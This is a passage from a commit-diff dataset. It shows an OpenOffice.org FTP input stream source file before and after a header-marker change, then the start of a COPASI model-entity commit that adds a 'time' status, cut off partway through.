STD_ALGORITHM\n#include <algorithm>\n#define STD_ALGORITHM\n#endif\n#include <stdio.h>\n\nusing namespace ftp;\nusing namespace com::sun::star::uno;\nusing namespace com::sun::star::lang;\nusing namespace com::sun::star::io;\n\n\nFTPInputStream::FTPInputStream(FILE* tmpfl)\n    : m_tmpfl(tmpfl ? tmpfl : tmpfile())\n{\n    fseek(m_tmpfl,0,SEEK_END);\n\/\/  fpos_t pos;\n\/\/  fgetpos(m_tmpfl,&pos);\n    long pos = ftell(m_tmpfl);\n    rewind(m_tmpfl);\n    m_nLength = sal_Int64(pos);\n}\n\n\n\nFTPInputStream::~FTPInputStream()\n{\n    fclose(m_tmpfl);\n}\n\n\nAny SAL_CALL FTPInputStream::queryInterface(\n    const Type& rType\n)\n    throw(\n        RuntimeException\n    )\n{\n    Any aRet = ::cppu::queryInterface(rType,\n                                      SAL_STATIC_CAST( XInputStream*,this ),\n                                      SAL_STATIC_CAST( XSeekable*,this ) );\n\n    return aRet.hasValue() ? aRet : OWeakObject::queryInterface( rType );\n}\n\n\n\nvoid SAL_CALL FTPInputStream::acquire( void ) throw() {\n    OWeakObject::acquire();\n}\n\n\n\nvoid SAL_CALL FTPInputStream::release( void ) throw() {\n    OWeakObject::release();\n}\n\n\nsal_Int32 SAL_CALL FTPInputStream::readBytes(Sequence< sal_Int8 >& aData,\n                                             sal_Int32 nBytesToRead)\n    throw(NotConnectedException,\n          BufferSizeExceededException,\n          IOException,\n          RuntimeException)\n{\n    osl::MutexGuard aGuard(m_aMutex);\n\n    if(0 <= nBytesToRead && aData.getLength() < nBytesToRead)\n        aData.realloc(nBytesToRead);\n\n\/\/     fpos_t bpos,epos;\n\n\/\/     fgetpos(m_tmpfl,&bpos);\n\/\/     fread(aData.getArray(),nBytesToRead,1,m_tmpfl);\n\/\/     fgetpos(m_tmpfl,&epos);\n    long bpos,epos;\n\n    bpos = ftell(m_tmpfl);\n    fread(aData.getArray(),nBytesToRead,1,m_tmpfl);\n    epos = ftell(m_tmpfl);\n\n    return sal_Int32(epos-bpos);\n}\n\n\nsal_Int32 SAL_CALL FTPInputStream::readSomeBytes( Sequence< sal_Int8 >& aData,sal_Int32 nMaxBytesToRead )\n    throw( NotConnectedException,\n           BufferSizeExceededException,\n           IOException,\n           RuntimeException)\n{\n    return readBytes(aData,nMaxBytesToRead);\n}\n\n\n\nvoid SAL_CALL FTPInputStream::skipBytes(sal_Int32 nBytesToSkip)\n    throw(NotConnectedException,\n          BufferSizeExceededException,\n          IOException,\n          RuntimeException)\n{\n    osl::MutexGuard aGuard(m_aMutex);\n    if(!m_tmpfl)\n        throw IOException();\n\n    fseek(m_tmpfl,long(nBytesToSkip),SEEK_CUR);\n}\n\n\n\nsal_Int32 SAL_CALL FTPInputStream::available(void)\n    throw(NotConnectedException,\n          IOException,\n          RuntimeException)\n{\n    return sal::static_int_cast<sal_Int32>(m_nLength - getPosition());\n}\n\n\n\nvoid SAL_CALL FTPInputStream::closeInput(void)\n    throw(NotConnectedException,\n          IOException,\n          RuntimeException)\n{\n    osl::MutexGuard aGuard(m_aMutex);\n    if(m_tmpfl)\n        fclose(m_tmpfl),m_tmpfl = 0;\n}\n\n\n\nvoid SAL_CALL FTPInputStream::seek(sal_Int64 location)\n    throw( IllegalArgumentException,\n           IOException,\n           RuntimeException )\n{\n    osl::MutexGuard aGuard(m_aMutex);\n    if(!m_tmpfl)\n        throw IOException();\n\n    fseek(m_tmpfl,long(location),SEEK_SET);\n}\n\n\n\nsal_Int64 SAL_CALL\nFTPInputStream::getPosition(\n    void )\n    throw( IOException,\n           RuntimeException )\n{\n    osl::MutexGuard aGuard(m_aMutex);\n    if(!m_tmpfl)\n        throw IOException();\n\n\/\/     fpos_t pos;\n\/\/     fgetpos(m_tmpfl,&pos);\n    long pos;\n    pos = ftell(m_tmpfl);\n    return sal_Int64(pos);\n}\n\n\n\nsal_Int64 SAL_CALL FTPInputStream::getLength(\n    void\n) throw(\n    IOException,RuntimeException\n)\n{\n    return m_nLength;\n}\n<commit_msg>INTEGRATION: CWS pchfix02 (1.7.20); FILE MERGED 2006\/09\/01 17:55:44 kaib 1.7.20.1: #i68856# Added header markers and pch files<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: ftpinpstr.cxx,v $\n *\n *  $Revision: 1.8 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-17 13:51:16 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_ucb.hxx\"\n\n\/**************************************************************************\n                                TODO\n **************************************************************************\n\n *************************************************************************\/\n\n#ifndef _FTP_FTPINPSTR_HXX_\n#include \"ftpinpstr.hxx\"\n#endif\n#ifndef _RTL_ALLOC_H\n#include <rtl\/alloc.h>\n#endif\n#ifndef STD_ALGORITHM\n#include <algorithm>\n#define STD_ALGORITHM\n#endif\n#include <stdio.h>\n\nusing namespace ftp;\nusing namespace com::sun::star::uno;\nusing namespace com::sun::star::lang;\nusing namespace com::sun::star::io;\n\n\nFTPInputStream::FTPInputStream(FILE* tmpfl)\n    : m_tmpfl(tmpfl ? tmpfl : tmpfile())\n{\n    fseek(m_tmpfl,0,SEEK_END);\n\/\/  fpos_t pos;\n\/\/  fgetpos(m_tmpfl,&pos);\n    long pos = ftell(m_tmpfl);\n    rewind(m_tmpfl);\n    m_nLength = sal_Int64(pos);\n}\n\n\n\nFTPInputStream::~FTPInputStream()\n{\n    fclose(m_tmpfl);\n}\n\n\nAny SAL_CALL FTPInputStream::queryInterface(\n    const Type& rType\n)\n    throw(\n        RuntimeException\n    )\n{\n    Any aRet = ::cppu::queryInterface(rType,\n                                      SAL_STATIC_CAST( XInputStream*,this ),\n                                      SAL_STATIC_CAST( XSeekable*,this ) );\n\n    return aRet.hasValue() ? aRet : OWeakObject::queryInterface( rType );\n}\n\n\n\nvoid SAL_CALL FTPInputStream::acquire( void ) throw() {\n    OWeakObject::acquire();\n}\n\n\n\nvoid SAL_CALL FTPInputStream::release( void ) throw() {\n    OWeakObject::release();\n}\n\n\nsal_Int32 SAL_CALL FTPInputStream::readBytes(Sequence< sal_Int8 >& aData,\n                                             sal_Int32 nBytesToRead)\n    throw(NotConnectedException,\n          BufferSizeExceededException,\n          IOException,\n          RuntimeException)\n{\n    osl::MutexGuard aGuard(m_aMutex);\n\n    if(0 <= nBytesToRead && aData.getLength() < nBytesToRead)\n        aData.realloc(nBytesToRead);\n\n\/\/     fpos_t bpos,epos;\n\n\/\/     fgetpos(m_tmpfl,&bpos);\n\/\/     fread(aData.getArray(),nBytesToRead,1,m_tmpfl);\n\/\/     fgetpos(m_tmpfl,&epos);\n    long bpos,epos;\n\n    bpos = ftell(m_tmpfl);\n    fread(aData.getArray(),nBytesToRead,1,m_tmpfl);\n    epos = ftell(m_tmpfl);\n\n    return sal_Int32(epos-bpos);\n}\n\n\nsal_Int32 SAL_CALL FTPInputStream::readSomeBytes( Sequence< sal_Int8 >& aData,sal_Int32 nMaxBytesToRead )\n    throw( NotConnectedException,\n           BufferSizeExceededException,\n           IOException,\n           RuntimeException)\n{\n    return readBytes(aData,nMaxBytesToRead);\n}\n\n\n\nvoid SAL_CALL FTPInputStream::skipBytes(sal_Int32 nBytesToSkip)\n    throw(NotConnectedException,\n          BufferSizeExceededException,\n          IOException,\n          RuntimeException)\n{\n    osl::MutexGuard aGuard(m_aMutex);\n    if(!m_tmpfl)\n        throw IOException();\n\n    fseek(m_tmpfl,long(nBytesToSkip),SEEK_CUR);\n}\n\n\n\nsal_Int32 SAL_CALL FTPInputStream::available(void)\n    throw(NotConnectedException,\n          IOException,\n          RuntimeException)\n{\n    return sal::static_int_cast<sal_Int32>(m_nLength - getPosition());\n}\n\n\n\nvoid SAL_CALL FTPInputStream::closeInput(void)\n    throw(NotConnectedException,\n          IOException,\n          RuntimeException)\n{\n    osl::MutexGuard aGuard(m_aMutex);\n    if(m_tmpfl)\n        fclose(m_tmpfl),m_tmpfl = 0;\n}\n\n\n\nvoid SAL_CALL FTPInputStream::seek(sal_Int64 location)\n    throw( IllegalArgumentException,\n           IOException,\n           RuntimeException )\n{\n    osl::MutexGuard aGuard(m_aMutex);\n    if(!m_tmpfl)\n        throw IOException();\n\n    fseek(m_tmpfl,long(location),SEEK_SET);\n}\n\n\n\nsal_Int64 SAL_CALL\nFTPInputStream::getPosition(\n    void )\n    throw( IOException,\n           RuntimeException )\n{\n    osl::MutexGuard aGuard(m_aMutex);\n    if(!m_tmpfl)\n        throw IOException();\n\n\/\/     fpos_t pos;\n\/\/     fgetpos(m_tmpfl,&pos);\n    long pos;\n    pos = ftell(m_tmpfl);\n    return sal_Int64(pos);\n}\n\n\n\nsal_Int64 SAL_CALL FTPInputStream::getLength(\n    void\n) throw(\n    IOException,RuntimeException\n)\n{\n    return m_nLength;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Begin CVS Header\n   $Source: \/Volumes\/Home\/Users\/shoops\/cvs\/copasi_dev\/copasi\/model\/CModelValue.cpp,v $\n   $Revision: 1.36 $\n   $Name:  $\n   $Author: shoops $\n   $Date: 2006\/10\/25 15:09:38 $\n   End CVS Header *\/\n\n\/\/ Copyright  2005 by Pedro Mendes, Virginia Tech Intellectual\n\/\/ Properties, Inc. and EML Research, gGmbH.\n\/\/ All rights reserved.\n\n#include <iostream>\n#include <string>\n#include <vector>\n#include <limits>\n\n#include \"copasi.h\"\n\n#include \"CModel.h\"\n#include \"CModelValue.h\"\n\n#include \"CopasiDataModel\/CCopasiDataModel.h\"\n#include \"function\/CExpression.h\"\n#include \"report\/CCopasiObjectReference.h\"\n#include \"report\/CKeyFactory.h\"\n#include \"utilities\/utility.h\"\n\n\/\/static\nconst std::string CModelEntity::StatusName[] =\n  {\n    \"fixed\",\n    \"assignment\",\n    \"determined by reactions\",\n    \"ode\",\n    \"\"\n  };\n\n\/\/static\nconst char * CModelEntity::XMLStatus[] =\n  {\n    \"fixed\",\n    \"assignment\",\n    \"reactions\",\n    \"ode\",\n    NULL\n  };\n\n\/\/ the \"variable\" keyword is used for compatibility reasons. It actually means \"this metab is part\n\/\/ of the reaction network, copasi needs to figure out if it is independent, dependent (moieties) or unused.\"\n\nCModelEntity::CModelEntity(const std::string & name,\n                           const CCopasiContainer * pParent,\n                           const std::string & type,\n                           const unsigned C_INT32 & flag):\n    CCopasiContainer(name, pParent, type, (flag | CCopasiObject::Container | CCopasiObject::ValueDbl | CCopasiObject::ModelEntity)),\n    mKey(\"\"),\n    mpValueData(NULL),\n    mpValueAccess(NULL),\n    mpIValue(NULL),\n    mRate(0.0),\n    mpExpression(NULL),\n    mpInitialExpression(NULL),\n    mStatus(FIXED),\n    mUsed(false),\n    mUsedOnce(false),\n    mpModel(NULL)\n{\n  initObjects();\n\n  *mpIValue = 1.0;\n  *mpValueData = std::numeric_limits<C_FLOAT64>::quiet_NaN();\n\n  CONSTRUCTOR_TRACE;\n}\n\nCModelEntity::CModelEntity(const CModelEntity & src,\n                           const CCopasiContainer * pParent):\n    CCopasiContainer(src, pParent),\n    mKey(\"\"),\n    mpValueData(NULL),\n    mpValueAccess(NULL),\n    mpIValue(NULL),\n    mRate(src.mRate),\n    mpExpression(new CExpression(*src.mpExpression)),\n    mpInitialExpression(new CExpression(*src.mpInitialExpression)),\n    mStatus(FIXED),\n    mUsed(false),\n    mUsedOnce(false),\n    mpModel(NULL)\n{\n  initObjects();\n\n  setStatus(src.mStatus);\n\n  *mpValueData = *src.mpValueData;\n  *mpIValue = *src.mpIValue;\n\n  CONSTRUCTOR_TRACE;\n}\n\nCModelEntity::~CModelEntity()\n{\n  if (mpModel)\n    mpModel->getStateTemplate().remove(this);\n\n  \/\/ After the above call we definitely own the data and\n  \/\/ therfore must destroy them.\n\n  pdelete(mpValueData);\n  pdelete(mpIValue);\n  pdelete(mpExpression);\n  pdelete(mpInitialExpression);\n\n  DESTRUCTOR_TRACE;\n}\n\nconst std::string & CModelEntity::getKey() const {return mKey;}\n\nconst C_FLOAT64 & CModelEntity::getValue() const {return *mpValueAccess;}\n\nconst C_FLOAT64 & CModelEntity::getInitialValue() const {return *mpIValue;}\n\nconst CModelEntity::Status & CModelEntity::getStatus() const {return mStatus;}\n\nbool CModelEntity::compile()\n{\n  if (isFixed()) return true;\n\n  std::vector< CCopasiContainer * > listOfContainer;\n  listOfContainer.push_back(getObjectAncestor(\"Model\"));\n\n  bool success = mpExpression->compile(listOfContainer);\n\n  switch (mStatus)\n    {\n    case ASSIGNMENT:\n      mpValueReference->setDirectDependencies(mpExpression->getDirectDependencies());\n      break;\n\n    case ODE:\n      mpRateReference->setDirectDependencies(mpExpression->getDirectDependencies());\n      break;\n\n    default:\n      break;\n    }\n\n  return success;\n}\n\nvoid CModelEntity::calculate()\n{\n  switch (mStatus)\n    {\n    case ASSIGNMENT:\n      *mpValueData = mpExpression->calcValue();\n      break;\n\n    case ODE:\n      mRate = mpExpression->calcValue();\n      break;\n\n    default:\n      break;\n    }\n}\n\nbool CModelEntity::setExpression(const std::string & expression)\n{\n  if (isFixed()) return false;\n\n  if (mpExpression == NULL)\n    mpExpression = new CExpression;\n\n  if (mpModel)\n    mpModel->setCompileFlag(true);\n\n  if (!mpExpression->setInfix(expression)) return false;\n\n  return compile();\n}\n\nstd::string CModelEntity::getExpression() const\n  {\n    if (isFixed() || mpExpression == NULL)\n      return \"\";\n\n    mpExpression->updateInfix();\n    return mpExpression->getInfix();\n  }\n\nCExpression* CModelEntity::getExpressionPtr()\n{\n  return mpExpression;\n}\n\nconst CExpression* CModelEntity::getExpressionPtr() const\n  {\n    return mpExpression;\n  }\n\nbool CModelEntity::setExpressionPtr(CExpression* pExpression)\n{\n  if (isFixed()) return false;\n\n  if (mpExpression)\n    pdelete(mpExpression);\n\n  mpExpression = pExpression;\n\n  if (mpModel)\n    mpModel->setCompileFlag(true);\n\n  return compile();\n}\n\nbool CModelEntity::setInitialExpression(const std::string & expression)\n{\n  if (mStatus == ASSIGNMENT) return false;\n\n  if (mpInitialExpression == NULL)\n    mpInitialExpression = new CExpression;\n\n  return mpInitialExpression->setInfix(expression);\n}\n\nstd::string CModelEntity::getInitialExpression() const\n  {\n    if (mStatus == ASSIGNMENT || mpInitialExpression == NULL)\n      return \"\";\n\n    return mpInitialExpression->getInfix();\n  }\n\n\/**\n * Return rate of production of this entity\n *\/\nconst C_FLOAT64 & CModelEntity::getRate() const\n  {\n    return mRate;\n  }\n\nCCopasiObject * CModelEntity::getValueReference()\n{return mpValueReference;}\n\nCCopasiObject * CModelEntity::getRateReference()\n{return mpRateReference;}\n\n\/\/***********\n\nvoid CModelEntity::setValue(const C_FLOAT64 & value)\n{\n  if (mStatus == FIXED) return;\n\n  *mpValueData = value;\n\n#ifdef COPASI_DEBUG\n  \/\/if (mStatus == FIXED)\n  \/\/std::cout << \"warning: set the transient concentration on a fixed entity\" << std::endl;\n#endif\n}\n\nvoid CModelEntity::setInitialValue(const C_FLOAT64 & initialValue)\n{\n  *mpIValue = initialValue;\n\n  if (mStatus != FIXED) return;\n}\n\nvoid CModelEntity::setRate(const C_FLOAT64 & rate)\n{\n  mRate = rate;\n}\n\n\/\/  ******************\n\nvoid CModelEntity::setStatus(const CModelEntity::Status & status)\n{\n  if (mStatus != status)\n    {\n      mStatus = status;\n      this->setValuePtr(mpValueData);\n\n      if (mpModel != NULL)\n        mpModel->setCompileFlag(true);\n\n      std::set< const CCopasiObject * > NoDependencies;\n\n      setDirectDependencies(NoDependencies);\n      clearRefresh();\n\n      mpValueReference->setDirectDependencies(NoDependencies);\n      mpValueReference->clearRefresh();\n\n      mpRateReference->setDirectDependencies(NoDependencies);\n      mpRateReference->clearRefresh();\n\n      switch (mStatus)\n        {\n        case ASSIGNMENT:\n          if (mpExpression == NULL)\n            mpExpression = new CExpression;\n          pdelete(mpInitialExpression)\n\n          mpValueReference->setDirectDependencies(mpExpression->getDirectDependencies());\n          mpValueReference->setRefresh(this, &CModelEntity::calculate);\n\n          mUsed = true;\n          mUsedOnce = false;\n          break;\n\n        case ODE:\n          if (mpExpression == NULL)\n            mpExpression = new CExpression;\n          if (mpInitialExpression == NULL)\n            mpInitialExpression = new CExpression;\n\n          mpRateReference->setDirectDependencies(mpExpression->getDirectDependencies());\n          mpRateReference->setRefresh(this, &CModelEntity::calculate);\n\n          mUsed = true;\n          mUsedOnce = false;\n          break;\n\n        case REACTIONS:\n          pdelete(mpExpression);\n          if (mpInitialExpression == NULL)\n            mpInitialExpression = new CExpression;\n\n          mUsed = true;\n          mUsedOnce = false;\n          break;\n\n        case TIME:\n          pdelete(mpExpression);\n          if (mpInitialExpression == NULL)\n            mpInitialExpression = new CExpression;\n\n          mUsed = true;\n          mUsedOnce = false;\n          break;\n\n        case FIXED:\n          pdelete(mpExpression);\n          if (mpInitialExpression == NULL)\n            mpInitialExpression = new CExpression;\n\n          mUsed = false;\n          mUsedOnce = false;\n          break;\n        }\n    }\n}\n\nvoid * CModelEntity::getValuePointer() const\n{return const_cast<C_FLOAT64 *>(mpValueAccess);}\n\nvoid CModelEntity::initObjects()\n{\n  C_FLOAT64 Dummy;\n\n  mpValueReference =\n    static_cast<CCopasiObjectReference<C_FLOAT64> *>(addObjectReference(\"Value\",\n        Dummy,\n        CCopasiObject::ValueDbl));\n  mpIValueReference =\n    static_cast<CCopasiObjectReference<C_FLOAT64> *>(addObjectReference(\"InitialValue\",\n        Dummy,\n        CCopasiObject::ValueDbl));\n\n  mpRateReference =\n    static_cast<CCopasiObjectReference<C_FLOAT64> *>(addObjectReference(\"Rate\", mRate, CCopasiObject::ValueDbl));\n\n  addObjectReference(\"SBMLId\", mSBMLId, CCopasiObject::ValueString);\n\n  mpModel = static_cast<CModel *>(getObjectAncestor(\"Model\"));\n\n  if (mpModel)\n    {\n      mpModel->getStateTemplate().add(this);\n    }\n  else\n    {\n      \/\/ This creates the needed values.\n      setInitialValuePtr(NULL);\n      setValuePtr(NULL);\n    }\n}\n\nvoid CModelEntity::setInitialValuePtr(C_FLOAT64 * pInitialValue)\n{\n  mpIValue = pInitialValue;\n  if (!mpIValue) mpIValue = new C_FLOAT64;\n  mpIValueReference->setReference(*mpIValue);\n}\n\nvoid CModelEntity::setValuePtr(C_FLOAT64 * pValue)\n{\n  mpValueData = pValue;\n  if (!mpValueData) mpValueData = new C_FLOAT64;\n\n  if (mStatus == FIXED)\n    mpValueAccess = mpIValue;\n  else\n    mpValueAccess = mpValueData;\n\n  mpValueReference->setReference(*mpValueAccess);\n}\n\nbool CModelEntity::setObjectParent(const CCopasiContainer * pParent)\n{\n  CCopasiContainer::setObjectParent(pParent);\n  CModel * pNewModel = static_cast<CModel *>(getObjectAncestor(\"Model\"));\n\n  if (mpModel == pNewModel) return true;\n\n  C_FLOAT64 InitialValue = *mpIValue;\n  C_FLOAT64 Value = *mpValueData;\n\n  if (mpModel)\n    {\n      mpModel->getStateTemplate().remove(this);\n    }\n  else\n    {\n      pdelete(mpIValue);\n      pdelete(mpValueData);\n    }\n\n  if (pNewModel)\n    {\n      pNewModel->getStateTemplate().add(this);\n    }\n  else\n    {\n      mpValueData = new C_FLOAT64;\n      mpIValue = new C_FLOAT64;\n    }\n\n  mpModel = pNewModel;\n  *mpIValue = InitialValue;\n  *mpValueData = Value;\n\n  return true;\n}\n\nstd::set< const CCopasiObject * > CModelEntity::getDeletedObjects() const\n  {\n    std::set< const CCopasiObject * > Deleted;\n\n    Deleted.insert(this);\n    Deleted.insert(mpIValueReference);\n    Deleted.insert(mpValueReference);\n    Deleted.insert(mpRateReference);\n\n    return Deleted;\n  }\n\nvoid CModelEntity::setSBMLId(const std::string& id)\n{\n  this->mSBMLId = id;\n}\n\nconst std::string& CModelEntity::getSBMLId() const\n  {\n    return this->mSBMLId;\n  }\n\nvoid CModelEntity::setUsed(const bool & used)\n{mUsed = used;}\n\nconst bool & CModelEntity::isUsed() const\n  {return mUsed;}\n\nvoid CModelEntity::setUsedOnce(const bool & usedOnce)\n{mUsedOnce = usedOnce;}\n\nconst bool & CModelEntity::isUsedOnce() const\n  {return mUsedOnce;}\n\n\/\/********************************************************************+\n\nCModelValue::CModelValue(const std::string & name,\n                         const CCopasiContainer * pParent):\n    CModelEntity(name, pParent, \"ModelValue\")\n{\n  mKey = GlobalKeys.add(\"ModelValue\", this);\n  initObjects();\n\n  CONSTRUCTOR_TRACE;\n}\n\nCModelValue::CModelValue(const CModelValue & src,\n                         const CCopasiContainer * pParent):\n    CModelEntity(src, pParent)\n{\n  mKey = GlobalKeys.add(\"ModelValue\", this);\n  initObjects();\n  CONSTRUCTOR_TRACE;\n}\n\nCModelValue::~CModelValue()\n{\n  GlobalKeys.remove(mKey);\n\n  DESTRUCTOR_TRACE;\n}\n\nvoid CModelValue::initObjects()\n{}\n\nstd::ostream & operator<<(std::ostream &os, const CModelValue & d)\n{\n  os << \"    ++++CModelValue: \" << d.getObjectName() << std::endl;\n  os << \"        mValue \" << *d.mpValueAccess << \" mIValue \" << *d.mpIValue << std::endl;\n  os << \"        mRate \" << d.mRate << \" mStatus \" << d.getStatus() << std::endl;\n  os << \"    ----CModelValue \" << std::endl;\n\n  return os;\n}\n<commit_msg>Added time to the display and XML values.<commit_after>\/\/ Begin CVS Header\n\/\/   $Source: \/Volumes\/Home\/Users\/shoops\/cvs\/copasi_dev\/copasi\/model\/CModelValue.cpp,v $\n\/\/   $Revision: 1.37 $\n\/\/   $Name:  $\n\/\/   $Author: shoops $\n\/\/   $Date: 2007\/02\/21 16:00:22 $\n\/\/ End CVS Header\n\n\/\/ Copyright (C) 2007 by Pedro Mendes, Virginia Tech Intellectual\n\/\/ Properties, Inc. and EML Research, gGmbH.\n\/\/ All rights reserved.\n\n#include <iostream>\n#include <string>\n#include <vector>\n#include <limits>\n\n#include \"copasi.h\"\n\n#include \"CModel.h\"\n#include \"CModelValue.h\"\n\n#include \"CopasiDataModel\/CCopasiDataModel.h\"\n#include \"function\/CExpression.h\"\n#include \"report\/CCopasiObjectReference.h\"\n#include \"report\/CKeyFactory.h\"\n#include \"utilities\/utility.h\"\n\n\/\/static\nconst std::string CModelEntity::StatusName[] =\n  {\n    \"fixed\",\n    \"assignment\",\n    \"determined by reactions\",\n    \"ode\",\n    \"time\",\n    \"\"\n  };\n\n\/\/static\nconst char * CModelEntity::XMLStatus[] =\n  {\n    \"fixed\",\n    \"assignment\",\n    \"reactions\",\n    \"ode\",\n    \"time\",\n    NULL\n  };\n\n\/\/ the \"variable\" keyword is used for compatibility reasons. It actually means \"this metab is part\n\/\/ of the reaction network, copasi needs to figure out if it is independent, dependent (moieties) or unused.\"\n\nCModelEntity::CModelEntity(const std::string & name,\n                           const CCopasiContainer * pParent,\n                           const std::string & type,\n                           const unsigned C_INT32 & flag):\n    CCopasiContainer(name, pParent, type, (flag | CCopasiObject::Container | CCopasiObject::ValueDbl | CCopasiObject::ModelEntity)),\n    mKey(\"\"),\n    mpValueData(NULL),\n    mpValueAccess(NULL),\n    mpIValue(NULL),\n    mRate(0.0),\n    mpExpression(NULL),\n    mpInitialExpression(NULL),\n    mStatus(FIXED),\n    mUsed(false),\n    mUsedOnce(false),\n    mpModel(NULL)\n{\n  initObjects();\n\n  *mpIValue = 1.0;\n  *mpValueData = std::numeric_limits<C_FLOAT64>::quiet_NaN();\n\n  CONSTRUCTOR_TRACE;\n}\n\nCModelEntity::CModelEntity(const CModelEntity & src,\n                           const CCopasiContainer * pParent):\n    CCopasiContainer(src, pParent),\n    mKey(\"\"),\n    mpValueData(NULL),\n    mpValueAccess(NULL),\n    mpIValue(NULL),\n    mRate(src.mRate),\n    mpExpression(new CExpression(*src.mpExpression)),\n    mpInitialExpression(new CExpression(*src.mpInitialExpression)),\n    mStatus(FIXED),\n    mUsed(false),\n    mUsedOnce(false),\n    mpModel(NULL)\n{\n  initObjects();\n\n  setStatus(src.mStatus);\n\n  *mpValueData = *src.mpValueData;\n  *mpIValue = *src.mpIValue;\n\n  CONSTRUCTOR_TRACE;\n}\n\nCModelEntity::~CModelEntity()\n{\n  if (mpModel)\n    mpModel->getStateTemplate().remove(this);\n\n  \/\/ After the above call we definitely own the data and\n  \/\/ therfore must destroy them.\n\n  pdelete(mpValueData);\n  pdelete(mpIValue);\n  pdelete(mpExpression);\n  pdelete(mpInitialExpression);\n\n  DESTRUCTOR_TRACE;\n}\n\nconst std::string & CModelEntity::getKey() const {return mKey;}\n\nconst C_FLOAT64 & CModelEntity::getValue() const {return *mpValueAccess;}\n\nconst C_FLOAT64 & CModelEntity::getInitialValue() const {return *mpIValue;}\n\nconst CModelEntity::Status & CModelEntity::getStatus() const {return mStatus;}\n\nbool CModelEntity::compile()\n{\n  if (isFixed()) return true;\n\n  std::vector< CCopasiContainer * > listOfContainer;\n  listOfContainer.push_back(getObjectAncestor(\"Model\"));\n\n  bool success = mpExpression->compile(listOfContainer);\n\n  switch (mStatus)\n    {\n    case ASSIGNMENT:\n      mpValueReference->setDirectDependencies(mpExpression->getDirectDependencies());\n      break;\n\n    case ODE:\n      mpRateReference->setDirectDependencies(mpExpression->getDirectDependencies());\n      break;\n\n    default:\n      break;\n    }\n\n  return success;\n}\n\nvoid CModelEntity::calculate()\n{\n  switch (mStatus)\n    {\n    case ASSIGNMENT:\n      *mpValueData = mpExpression->calcValue();\n      break;\n\n    case ODE:\n      mRate = mpExpression->calcValue();\n      break;\n\n    default:\n      break;\n    }\n}\n\nbool CModelEntity::setExpression(const std::string & expression)\n{\n  if (isFixed()) return false;\n\n  if (mpExpression == NULL)\n    mpExpression = new CExpression;\n\n  if (mpModel)\n    mpModel->setCompileFlag(true);\n\n  if (!mpExpression->setInfix(expression)) return false;\n\n  return compile();\n}\n\nstd::string CModelEntity::getExpression() const\n  {\n    if (isFixed() || mpExpression == NULL)\n      return \"\";\n\n    mpExpression->updateInfix();\n    return mpExpression->getInfix();\n  }\n\nCExpression* CModelEntity::getExpressionPtr()\n{\n  return mpExpression;\n}\n\nconst CExpression* CModelEntity::getExpressionPtr() const\n  {\n    return mpExpression;\n  }\n\nbool CModelEntity::setExpressionPtr(CExpression* pExpression)\n{\n  if (isFixed()) return false;\n\n  if (mpExpression)\n    pdelete(mpExpression);\n\n  mpExpression = pExpression;\n\n  if (mpModel)\n    mpModel->setCompileFlag(true);\n\n  return compile();\n}\n\nbool CModelEntity::setInitialExpression(const std::string & expression)\n{\n  if (mStatus == ASSIGNMENT) return false;\n\n  if (mpInitialExpression == NULL)\n    mpInitialExpression = new CExpression;\n\n  return mpInitialExpression->setInfix(expression);\n}\n\nstd::string CModelEntity::getInitialExpression() const\n  {\n    if (mStatus == ASSIGNMENT || mpInitialExpression == NULL)\n      return \"\";\n\n    return mpInitialExpression->getInfix();\n  }\n\n\/**\n * Return rate of production of this entity\n *\/\nconst C_FLOAT64 & CModelEntity::getRate() const\n  {\n    return mRate;\n  }\n\nCCopasiObject * CModelEntity::getValueReference()\n{return mpValueReference;}\n\nCCopasiObject * CModelEntity::getRateReference()\n{return mpRateReference;}\n\n\/\/***********\n\nvoid CModelEntity::setValue(const C_FLOAT64 & value)\n{\n  if (mStatus == FIXED) return;\n\n  *mpValueData = value;\n\n#ifdef COPASI_DEBUG\n  \/\/if (mStatus == FIXED)\n  \/\/std::cout << \"warning: set the transient concentration on a fixed entity\" << std::endl;\n#endif\n}\n\nvoid CModelEntity::setInitialValue(const C_FLOAT64 & initialValue)\n{\n  *mpIValue = initialValue;\n\n  if (mStatus != FIXED) return;\n}\n\nvoid CModelEntity::setRate(const C_FLOAT64 & rate)\n{\n  mRate = rate;\n}\n\n\/\/  ******************\n\nvoid CModelEntity::setStatus(const CModelEntity::Status & status)\n{\n  if (mStatus != status)\n    {\n      mStatus = status;\n      this->setValuePtr(mpValueData);\n\n      if (mpModel != NULL)\n        mpModel->setCompileFlag(true);\n\n      std::set< const CCopasiObject * > NoDependencies;\n\n      setDirectDependencies(NoDependencies);\n      clearRefresh();\n\n      mpValueReference->setDirectDependencies(NoDependencies);\n      mpValueReference->clearRefresh();\n\n      mpRateReference->setDirectDependencies(NoDependencies);\n      mpRateReference->clearRefresh();\n\n      switch (mStatus)\n        {\n        case ASSIGNMENT:\n          if (mpExpression == NULL)\n            mpExpression = new CExpression;\n          pdelete(mpInitialExpression)\n\n          mpValueReference->setDirectDependencies(mpExpression->getDirectDependencies());\n          mpValueReference->setRefresh(this, &CModelEntity::calculate);\n\n          mUsed = true;\n          mUsedOnce = false;\n          break;\n\n        case ODE:\n          if (mpExpression == NULL)\n            mpExpression = new CExpression;\n          if (mpInitialExpression == NULL)\n            mpInitialExpression = new CExpression;\n\n          mpRateReference->setDirectDependencies(mpExpression->getDirectDependencies());\n          mpRateReference->setRefresh(this, &CModelEntity::calculate);\n\n          mUsed = true;\n          mUsedOnce = false;\n          break;\n\n        case REACTIONS:\n          pdelete(mpExpression);\n          if 